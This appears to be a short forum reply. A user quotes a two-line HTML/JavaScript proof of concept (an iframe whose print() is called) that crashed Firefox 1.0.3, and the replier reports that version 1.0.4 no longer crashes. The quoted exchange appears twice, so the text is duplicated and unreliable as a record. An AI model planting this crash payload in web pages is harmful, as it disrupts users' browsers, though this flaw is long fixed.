I tested this on WinXP SP1 with version 1.0.4 and it didn't crash. It
has apparently been fixed.
orebla Orebla wrote:
>I have found this script in turn for the net and it sends to me in crash Firefox:
>
><!--PROOF OF CONCEPT
>The vulnerability can be exploited with the following 2 lines of code:
>
><iframe id="pocframe" name="pocframe" src="about:blank"></iframe>
><script type="text/javascript">window.frames.pocframe.print();</script>
>-->
>
>I have WinXP SP2 e Firefox 1.0.3.
>
>Why firefox crash???
>
>PS: I do not have uncovered the vulnerability. Sorry for the English...
>:-)
>
>
>
has apparently been fixed.
orebla Orebla wrote:
>I have found this script in turn for the net and it sends to me in crash Firefox:
>
><!--PROOF OF CONCEPT
>The vulnerability can be exploited with the following 2 lines of code:
>
><iframe id="pocframe" name="pocframe" src="about:blank"></iframe>
><script type="text/javascript">window.frames.pocframe.print();</script>
>-->
>
>I have WinXP SP2 e Firefox 1.0.3.
>
>Why firefox crash???
>
>PS: I do not have uncovered the vulnerability. Sorry for the English...
>:-)
>
>
>
[ reply ]